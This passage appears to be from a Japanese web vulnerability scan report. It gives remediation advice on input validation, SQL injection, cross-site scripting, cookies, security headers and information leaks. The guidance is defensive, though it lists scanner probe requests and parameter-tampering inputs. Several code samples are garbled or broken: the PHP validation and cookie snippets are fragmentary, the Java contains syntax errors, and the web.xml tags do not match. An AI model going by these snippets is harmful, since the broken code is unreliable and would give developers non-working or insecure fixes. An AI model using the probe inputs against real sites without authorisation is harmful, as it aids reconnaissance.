                errors.put(property, propertyErrors);
            }
            propertyErrors.put(error);
        }

        // Returns true if there are any errors
        public boolean hasErrors() {
            return (errors.size > 0);
        }

        // Returns the Errors for the specified property
        public ArrayList getErrors(String property) {
            return (ArrayList)errors.get(property);
        }

        private HashMap errors = new HashMap();
    }
```

次に、上記フレームワーク・クラスを使用して、「user_name」フィールドの検証エラーを処理する例を示します。

```
 // Example to process validation errors of the "user_name" field.
 Errors errors = new Errors();
 String userName = request.getParameter("user_name");
 // (a) Required validation rule
 if (!Validator.validateRequired(userName)) {
     errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
 } // (b) Alpha-numeric validation rule
 else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
     errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
 }
 else
 {
     // (c) Duplicate check validation rule
     // We assume that there is an existing UserValidationEJB session bean that implements
     // a checkIfDuplicate() method to verify if the user already exists in the database.
     try {
         ...
         if (UserValidationEJB.checkIfDuplicate(userName)) {
             errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
         }
     } catch (RemoteException e) {
         // log the error
         logger.error("Could not validate user for specified userName: " + userName);
         errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
     }
 }
 // set the errors object in a request attribute called "errors"
 request.setAttribute("errors", errors);
 ...
```

[2] エラーの報告: Web 層のアプリケーション・エラーを報告する方法は 2 つあります。
(a) Servlet エラー・メカニズム
(b) JSP エラー・メカニズム

[2-a] Servlet エラー・メカニズム:
Servlet は次の方法のいずれかでエラーを報告します。
- 入力 JSP へ転送する (すでにエラーを要求属性に格納している)
- HTTP エラー・コードを引数として response.sendError を呼び出す
- 例外をスローする

効果的な方法は、既知のアプリケーション・エラー (セクション [1] を参照) をすべて処理し、要求属性にそれらを格納し、入力 JSP に転送することです。入力 JSP はエラー・メッセージを表示して、ユーザーにデータを入力し直すように促す必要があります。 次に、入力 JSP (userInput.jsp) に転送する例を示します。

```
 // Example to forward to the userInput.jsp following user validation errors
 RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
```

```
if (rd != null) {
    rd.forward(request, response);
}
```

Servlet が既知の JSP ページに転送できない場合、2 番目の選択肢は、HttpServletResponse.SC_INTERNAL_SERVER_ERROR (状態コード 500) を引数として response.sendError メソッドを呼び出す方法です。 さまざまな HTTP 状態コードの詳細については、javax.servlet.http.HttpServletResponse の javadoc を参照してください。 次に、HTTP エラーを返す例を示します。

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                       messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

最後の手段として、Servlet は例外をスローすることができます。この例外は、次のクラスのうちの 1 つのサブクラスである必要があります。
- RuntimeException
- ServletException
- IOException

[2-b] JSP エラー・メカニズム: JSP ページには、次の例のように errorPage ディレクティブを定義して、実行時例外を処理する機能があります。

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

エラー・トラップできない JSP の例外は指定された errorPage に転送され、オリジナルの例外は javax.servlet.jsp.jspException と呼ばれる要求パラメーターとして設定されます。 エラー・ページは、次のように isErrorPage ディレクティブを含む必要があります。

```
<%@ page isErrorPage="true" %>
```

isErrorPage ディレクティブが指定されると、「exception」変数はスローされる例外オブジェクトに初期化されます。

[3] エラーのレンダリング: J2SE Internationalization API は、アプリケーション・リソースを外部化し、メッセージをフォーマットする次のようなユーティリティー・クラスを提供します。

(a) リソース・バンドル
(b) メッセージ・フォーマット

[3-a] リソース・バンドル:
リソース・バンドルは、ローカライズされたデータとそれを使用するソース・コードを分離することによって国際化対応をサポートします。各リソース・バンドルは、特定のロケールに対するキーと値のペアのマッピングを格納しています。

通常は java.util.PropertyResourceBundle を使用または拡張して、外部プロパティー・ファイルにコンテンツを格納します。次に例を示します。

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

異なるロケールをサポートするために、複数のリソースを定義できます (これが「リソース・バンドル」という名前の由来)。例えば、バンドル・ファミリーのフランス語をサポートするために ErrorMessages_fr.properties を定義できます。 要求されたロケールのリソースが存在しない場合は、デフォルトのメンバーが使用されます。 上記例では、デフォルトのリソースは ErrorMessages.properties です。 アプリケーション (JSP または Servlet) はユーザーのロケールに従って適切なリソースからコンテンツを取得します。

[3-b] メッセージ・フォーマット: J2SE 標準クラス java.util.MessageFormat は、置換プレースホルダー付きのメッセージを作成する一般的な方法です。MessageFormat オブジェクトは、次のような書式指示子が埋め込まれたパターン文字列を持っています。

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

次に、より理解しやすい例として、ResourceBundle と MessageFormat を使用してエラー・メッセージを表示する例を示します。

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {

    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
```

```
        return getErrorMessage(errorKey, defaultLocale);
    }

    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    }

    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
            // Format the message using the specified placeholders args
            return MessageFormat.format(errorMessage, args);
        } else {
            return errorMessage;
        }
    }

    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user_name" property
    ArrayList userNameErrors = errors.getErrors("user_name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "¥r¥n");
    }
}
```

上記例のようにエラー・メッセージを何度も表示する場合は、独自の JSP タグ (displayErrors 等) を定義することが推奨されます。

[4] エラーのマッピング: 通常 Servlet
Containerは、応答状態コードまたは例外のどちらかに対応するデフォルトのエラー・ページを返します。状態コードまたは例外と Web リソースとのマッピングは、カスタム・エラー・ページを使用して指定できます。
効果的な方法は、内部のエラーの状態を公開しない静的なエラー・ページを開発することです (デフォルトでは、ほとんどの Servlet コンテナーは内部エラー・メッセージを報告します)。このマッピングは、次の例のように、Web Deployment Descriptor (web.xml) で設定されます。

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
</error-page>
<error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
```

推奨される JAVA ツール: サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合)
Jakarta Commons Validator は、上記のようなエラー処理メカニズムを定義する Java フレームワークです。検証規則は、フォーム・フィールドの入力検証規則とそれに対応する検証エラー・キーを定義する XML ファイルとして設定されます。 Struts は、リソース・バンドルとメッセージ・フォーマットを使用してローカライズ・アプリケーションを構築するための国際化対応をサポートします。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
    <global>
        ...
        <validator name="required"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateRequired"
            msg="errors.required">
        </validator>
        <validator name="mask"
            classname="org.apache.struts.validator.FieldChecks"
```

```
            method="validateMask"
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

次の例に示すように、Struts JSP タグ・ライブラリーは、格納されたエラー・メッセージを条件付きで表示する「errors」タグを定義します。

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI
コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理、入力の検証、および国際化対応のサポートを行う、一連の Java API (JSR 127) です。

JavaServer Faces API は「output_errors」という UIOutput Renderer
を定義します。それはページ全体のエラー・メッセージまたは指定されたクライアント識別子に関連するエラー・メッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use_faces>
```

参照リンク:
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## 推奨される修正 - PHP

** ユーザー入力のフィルタリング

データを SQL
クエリーに渡す前に、ホワイトリストを使用する技法で適切にフィルタリングします。これはきわめて重要です。ユーザーの入力をフィルタリングすることにより、インジェクションの原因となる欠陥を、データベースに影響がおよぶ前に修正することができます。

** ユーザー入力を引用符で囲む

データのタイプにかかわらず、すべてのユーザー・データを単一引用符で囲むことが効果的です
(データベースで許可されている場合)。MySQL では、この書式を使用することができます。

** データ値のエスケープ

MySQL 4.3.0 以降を使用している場合は、すべての文字列を mysql_real_escape_string() でエスケープします。 以前のバージョンの MySQL を使用している場合には、mysql_escape_string() 関数を使用します。 MySQL
を使用していない場合には、使用しているデータベースの所定のエスケープ関数を使用することができます。
エスケープ関数がわからない場合には、addslashes() などの、より一般的なエスケープ関数を使用します。

PEAR DB データベース抽出レイヤーを使用している場合には、DB::quote() メソッドを使用するか、?
などのクエリー・プレースホルダーを使用します。この方法では、プレースホルダーを置き換える値を自動的にエスケープします。

参照リンク

http://ca3.php.net/mysql_real_escape_string

http://ca.php.net/mysql_escape_string

http://ca.php.net/addslashes

http://pear.php.net/package-info.php?package=DB

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ずサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、各アプリケーション・パラメーターを検証する関数を実装することです。以下のセクションでは、チェックの例について示しています。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。
次に、要求されたフィールドを検証する例を示します。

```
  // PHP example to validate required fields
input) {
      …
ass = false;
input))>0){
ass = true;
     }
ass;
     …
 }
 …
fieldName)) {
     // fieldName is valid, continue processing request
     …
 }
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか)
の長さが最小値から最大値までの間であることを確認します。

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

[5] フィールドのオプション: 多くの場合 Web
アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT
HTML
タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName
フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]+$

[7] Cookie の値: アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie
の値にも適用されます。

[8] HTTP 応答

[8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、開発者が、危険な文字を対応する文字エンティティーに変換して HTML
をサニタイズする必要があります。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

PHP には、htmlentities() などの自動サニタイズ・ユーティリティー関数がいくつかあります。

```
$input = htmlentities($input, ENT_QUOTES, 'UTF-8');
```

さらに、クロスサイト・スクリプティングの UTF-7 バリアントを防止するために、明示的に応答の Content-Type
ヘッダーを定義します。以下の例を参照してください。

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Cookie のセキュリティー保護

秘密データを Cookie に格納して SSL を介して転送するときには、まず HTTP 応答に Cookie
のセキュリティー・フラグを設定します。これによって、SSL 接続ではこの Cookie のみを使用するようにブラウザーに指示します。

Cookie のセキュリティーを保つ方法については、以下のコード例を使用することができます。

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

さらに、HttpOnly フラグを使用することをお勧めします。HttpOnly フラグが TRUE に設定されているとき、Cookie は HTTP
プロトコルでのみアクセスできるようになっています。つまり、この Cookie は JavaScript
のようなスクリプト言語ではアクセスできなくなります。この設定によって、XSS 攻撃による ID の盗用を効果的に減殺することができます
(ただしすべてのブラウザーがサポートしている訳ではありません)。

HttpOnly フラグは PHP 5.2.0 で追加されました。

参照リンク:

[1] HTTP-only Cookies によるクロスサイト・スクリプティングの防止:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP セキュリティー・コンソーシアム:
http://phpsec.org/
[3] PHP & Web アプリケーション・セキュリティー・ブログ (Chris Shiflett):
http://shiflett.org/

## 参考資料と関連リンク

「Web Application Disassembly with ODBC Error Messages」(著者: David Litchfield)
SQL インジェクション研修モジュール

# パスワード・フィールドで、HTML の autocomplete 属性が無効になっていません

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

Web アプリケーションの認証メカニズムをバイパスできる可能性があります

## 考えられる原因

セキュリティーで保護されていない Web アプリケーション・プログラムまたは設定

## 技術的な説明

autocomplete 属性が、HTML5 標準で標準化されました。W3C のサイトによると、この属性には 2 つの状態 (on と off) があり、これを完全に省略すると、on を設定したのと等しくなるとのことです。

このページは、input 要素の password フィールドに対して autocomplete 属性を off に設定していないため、脆弱です。
この場合、(許可されたクライアントにローカル側でアクセスできる)
許可を受けていないユーザーが、ユーザー名およびパスワードのフィールドを自動入力してサイトにログインする事態が起こり得ます。

## 推奨される修正 - 全般

input 要素の password フィールドに autocomplete 属性がない場合は、その属性を追加し、off に設定してください。
autocomplete 属性が on に設定されている場合は、off に変更してください。

次に例を示します:

脆弱なサイト:

```
<form action="AppScan.html" method="get">
    Username: <input type="text" name="firstname" /><br />
    Password: <input type="password" name="lastname" />
    <input type="submit" value="Submit" />
<form>
```

脆弱でないサイト:

```
<form action="AppScan.html" method="get">
    Username: <input type="text" name="firstname" /><br />
    Password: <input type="password" name="lastname" autocomplete="off"/>
    <input type="submit" value="Submit" />
<form>
```

## 参考資料と関連リンク

# 圧縮ディレクトリーを発見

## インフラストラクチャー

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

アプリケーションのロジックとユーザー名およびパスワードなどのその他の秘密情報を公開する可能性のあるサーバー・サイド・スクリプトのソース・コードが取得できます

## 考えられる原因

セキュリティーで保護されていない Web アプリケーション・プログラムまたは設定

## 技術的な説明

AppScan は、ディレクトリー全体のコンテンツを格納している可能性のある圧縮ファイルを見付けました。
これは、以下の例のようにディレクトリー名に圧縮ファイルの拡張子を付けたリクエストによって見付けられました。
GET /DIR1.zip HTTP/1.0
または
GET /DIR2.gz HTTP/1.0

このファイルには、ディレクトリーの最新のデータか、古いデータが格納されています。
いずれの場合でも、悪意のあるユーザーは、ファイル名を推測することによってソース・コードおよび権限を持たないファイルへのアクセスを獲得することができます。

サンプル活用:
http://[SERVER]/[DIR].zip

## 推奨される修正 - 全般

圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します。

## 参考資料と関連リンク

# 照会内で受理された本体パラメーター

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

ユーザー名、パスワード、マシン名などの Web
アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます
知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます

## 考えられる原因

セキュリティーで保護されていない Web アプリケーション・プログラムまたは設定

## 技術的な説明

GET 要求は、サーバーを照会するように作成され、一方 POST 要求はデータを実行依頼するためのものです。
ただし、技術的な目的を除き、照会パラメーターの攻撃は本体パラメーターより容易です。これは、オリジナル・サイトへのリンクの送信や、ブログまたはコメント内へのリンクの貼り付けは簡単なので、本体パラメーター攻撃よりも効果的な結果が得られるためです。本体パラメーターが含まれる要求を攻撃するには、攻撃者は、被害者がアクセスした際に実行依頼されるフォームを含むページを作成する必要があります。
被害者にオリジナル・サイトにアクセスさせるよりも、よく知らないページにアクセスさせるほうが、はるかに困難です。そのため、照会ストリングに届く本体パラメーターのサポートは推奨されません。

## 推奨される修正 - 全般

照会にリストされた POST パラメーターの処理を許可しないようにアプリケーションを再プログラミングします

## 参考資料と関連リンク

Hypertext Transfer Protocol (HTTP/1.1) セマンティクスおよびコンテンツ:
GET
POST

# Content-Security-Policy ヘッダーが欠落しています

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

ユーザー名、パスワード、マシン名などの Web
アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます
知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます

## 考えられる原因

セキュリティーで保護されていない Web アプリケーション・プログラムまたは設定

## 技術的な説明

「Content-Security-Policy」ヘッダーは、ブラウザーのページのレンダリング方法を変更し、さまざまなクロスサイト注入
(クロスサイト・スクリプティングなど) から保護するために設計されています。Web
サイトの正しい操作を妨げない方法で、ヘッダー値を正しく設定することが大切です。例えば、インライン JavaScript
の実行を妨げるようにヘッダーが設定されている場合、Web サイトではインライン JavaScript をそのページで使用できません。

## 推奨される修正 - 全般

「Content-Security-Policy」ヘッダーを送信するように、サーバーを構成してください。
Apache の場合
http://httpd.apache.org/docs/2.2/mod/mod_headers.html
を、
IIS の場合
https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx
を、
nginx の場合
http://nginx.org/en/docs/http/ngx_http_headers_module.html
を参照してください

## 参考資料と関連リンク

便利な HTTP ヘッダーのリスト
Content Security Policy の概要

# X-XSS-Protection ヘッダーが欠落しています

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

ユーザー名、パスワード、マシン名などの Web
アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます
知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます

## 考えられる原因

セキュリティーで保護されていない Web アプリケーション・プログラムまたは設定

## 技術的な説明

「X-XSS-Protection」ヘッダーによって、クロスサイト・スクリプティング・フィルターが強制的に (ユーザーが無効にしている場合でも)
「有効」モードになります。
このフィルターは、最新の Web ブラウザー (IE 8+、Chrome 4+) 内にビルドされており、通常であればデフォルトで有効になっています。
これは、クロスサイト・スクリプティングに対する唯一かつ初めての防御策として設計されたものではありませんが、保護のための追加層として機能します。

## 推奨される修正 - 全般

すべての発信要求において「X-XSS-Protection」ヘッダーに値「1」(つまり「有効」) を付与して送信するように、サーバーを構成してください。
Apache の場合
http://httpd.apache.org/docs/2.2/mod/mod_headers.html
を、
IIS の場合
https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx
を、
nginx の場合
http://nginx.org/en/docs/http/ngx_http_headers_module.html
を参照してください

## 参考資料と関連リンク

便利な HTTP ヘッダーのリスト
IE XSS フィルター

# X-Content-Type-Options ヘッダーが欠落しています

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

ユーザー名、パスワード、マシン名などの Web
アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます
知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます

## 考えられる原因

セキュリティーで保護されていない Web アプリケーション・プログラムまたは設定

## 技術的な説明

「X-Content-Type-Options」ヘッダー (「nosniff」値を使用) によって、IE と Chrome では応答のコンテンツ・タイプを無視できなくなります。
このアクションは、信頼できないコンテンツ (ユーザーがアップロードしたコンテンツなど) が、(悪質な命名後などに)
ユーザーのブラウザーで実行されることを防ぎます。

## 推奨される修正 - 全般

すべての発信要求において「X-Content-Type-Options」ヘッダーに値「nosniff」を付与して送信するように、サーバーを構成してください。
Apache の場合
http://httpd.apache.org/docs/2.2/mod/mod_headers.html
を、
IIS の場合
https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx
を、
nginx の場合
http://nginx.org/en/docs/http/ngx_http_headers_module.html
を参照してください

## 参考資料と関連リンク

便利な HTTP ヘッダーのリスト
MIME タイプのセキュリティー・リスクの低減

# HTML コメントによる秘密情報の開示

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

ユーザー名、パスワード、マシン名などの Web
アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます

## 考えられる原因

プログラマーが Web ページにデバッグ情報を残しています

## 技術的な説明

多くの Web アプリケーション・プログラマーは、必要に応じてアプリケーションのデバッグに活用するために、HTML
コメントを利用します。一般的なコメントを追加すると非常に便利ですが、一部のプログラマーは Web
アプリケーションに関連するファイル名、古いリンクやユーザーに参照させるつもりのないリンク、古いコードの断片など、重要なデータを残してしまうことがあります。このようなコメントを見つけた攻撃者はアプリケーションの構造やファイルをマップしたり、サイトの非表示部分を公開したり、コードの断片を調べてアプリケーションのリバース・エンジニアリングを行うことができるため、サイトにより深刻な攻撃がしかけられる恐れがあります
。

## 推奨される修正 - 全般

[1] HTML コメントに、ファイル名やファイル・パスなどの重要な情報を残さないようにします。[2] サイト製作環境にある以前 (または今後)
のサイト・リンクの痕跡を取り除きます。[3] 秘密情報を HTML コメントに記入しないようにします。[4] HTML
コメントに、ソース・コードの断片が含まれないようにします。[5] プログラマーによって、重要な情報が残されていないことを確認します。

## 参考資料と関連リンク

WASC Threat Classification: Information Leakage
CWE-615: Information Leak Through Comments

# アプリケーション・テスト・スクリプトを検知

## アプリケーション

## WASC 脅威の分類

予測可能なリソースの位置
http://projects.webappsec.org/Predictable-Resource-Location

## セキュリティー・リスク

アプリケーション・ロジック、およびユーザー名やパスワードなどのその他の秘密情報を公開する可能性のある一時スクリプト・ファイルをダウンロードできます

## 考えられる原因

テンポラリー・ファイルが製作環境に残されています

## 技術的な説明

一般的なユーザーは、(Web リンクをたどるなどの)
簡単な方法で所定のページにアクセスすることができます。しかし、簡単な方法ではアクセスできないページやスクリプト
(たとえばリンクされていないページやスクリプト) があります。 攻撃者は、その名前 (test.php、test.asp、test.cgi、test.html など)
を推測して、これらのページにアクセスすることができます。例えば、「test.php」という名前のスクリプトへの要求は次のようになります。
http://[SERVER]/test.php

開発者が、何らかのデバッグ用またはテスト・ページを製作環境から削除し忘れる場合があります。これらのページには、Web
のユーザーにアクセスさせるべきでない秘密情報が含まれている場合があります。これらのページには脆弱性があったり、攻撃者が攻撃を行うにあたって役にたつサーバーについての情報を取得することができる場合もあります。

サンプル活用:
http://[SERVER]/test.php
http://[SERVER]/test.asp
http://[SERVER]/test.aspx
http://[SERVER]/test.html
http://[SERVER]/test.cfm
http://[SERVER]/test.cgi

## 推奨される修正 - 全般

テスト/一時スクリプトをサーバーから削除し、将来的にも残さないようにします。
通常の動作に不可欠ではないスクリプトがサーバー上にないようにします。

## 参考資料と関連リンク

CWE-531: Information Leak Through Test Code

## アプリケーション

## WASC 脅威の分類

情報漏えい
http://projects.webappsec.org/Information-Leakage

## セキュリティー・リスク

秘密のデバッグ情報を収集することができます

## 考えられる原因

受信したパラメーター値について、適切な境界チェックが行われませんでした
ユーザーの入力が必要なデータ型式に一致することを確認するための検証が行われませんでした

## 技術的な説明

攻撃者がアプリケーションで必要とされていないパラメーターまたはパラメーター値を格納する要求を偽造してアプリケーションを調査
(以下に例を示します)
したとき、アプリケーションが攻撃に対して脆弱となる未定義のステータスになる場合があります。攻撃者は、要求に対するアプリケーションの応答から有用な情報を取得して、アプリケーションの弱点を突き止めます。
例えば、パラメーター・フィールドがアポストロフィーで囲まれた文字列である場合 (例えば ASP スクリプトや SQL
クエリー)、注入されたアポストロフィー記号が文字列のストリームを早く停止させることにより、スクリプトの正常なフロー/構文を変更します。
エラー・メッセージで重要な情報が明らかになってしまうもうひとつの原因は、スクリプティング・エンジン、Web
サーバー、またはデータベースの設定が誤っている場合です。

以下のようなケースもあります:
[1] パラメーターの削除
[2] パラメーター値の削除
[3] パラメーター値を Null に設定
[4] パラメーター値を数値オーバーフローする値 (+/- 99999999) に設定
[5] パラメーター値を ' " ¥' ¥" ) ; などの危険性のある文字に変更
[6] 数値パラメーター値に文字列を追加
[7] パラメーター名に ".". (ドット) または "□" (不等号括弧) を追加

## 推奨される修正 - 全般

[1]
着信した要求に対しすべてが想定されるパラメーターと値であることを確認してください。パラメーターがなくなっている場合には、適切なエラー・メッセージを表示するか、デフォルト値を使用してください。
[2] アプリケーションは、入力が (デコーディング後に) 有効な文字で構成されていることを検証する必要があります。例えば、Null バイト (%00 とエンコードされる)、アポストロフィー、引用符などを含む入力値は拒否します。
[3]
必要な範囲と型の値を確実に指定します。アプリケーションの特定のパラメーターにはそれに対応した特定のセットに含まれている値が必要である場合、受信した値が実際にそのセットに含まれているようにアプリケーション側で指定する必要があります。例えば、アプリケーションが 10..99 の範囲の値を必要としている場合には、値が数値で 10..99 の範囲になるようにする必要があります。
[4] データがクライアントから提供されたセットに含まれていることを検証します。
[5] デバッグのエラー・メッセージおよび稼働環境での例外メッセージを出力しないでください。

## 推奨される修正 - ASP.NET

ASP.NET でのデバッグを無効にするには、web.config ファイルを編集し、次の記述を追加します。

```
<compilation
    debug="false"
/>
```

詳しくは、
http://support.microsoft.com/default.aspx?scid=kb;en-us;815157
の「HOW TO: Disable Debugging for ASP.NET Applications」を参照してください。
検証コントロールを使用して Web
フォーム・ページに入力検証を追加できます。検証コントロールにより、(例えば範囲内の有効な日付または値のテスト等)
全ての共通型に簡単に使用できる標準的な検証、カスタム化した検証を提供する方法が追加されます。さらに、検証コントロールにより、ユーザーに表示するエラー情報を完全にカスタマイズできるようになります。検証コントロールは、HTML および Web
サーバー・コントロールを含む、Web フォーム・ページのクラス・ファイルで処理される任意のコントロールと一緒に使用できます。

すべての必要なパラメーターが要求に存在するように、RequiredFieldValidator
検証コントロールを使用します。このコントロールによって、ユーザーが Web フォームのエントリーをスキップしないようにします。

ユーザーの入力が正しい値だけであることを確かめるために、次の検証コントロールの 1 つを使うことができます。

[1] 「RangeValidator」: ユーザーのエントリー (値)
が指定された下限と上限の間であることをチェックします。数字、英字、および日付のペアで示した範囲をチェックすることができます。

[2] 「RegularExpressionValidator」:
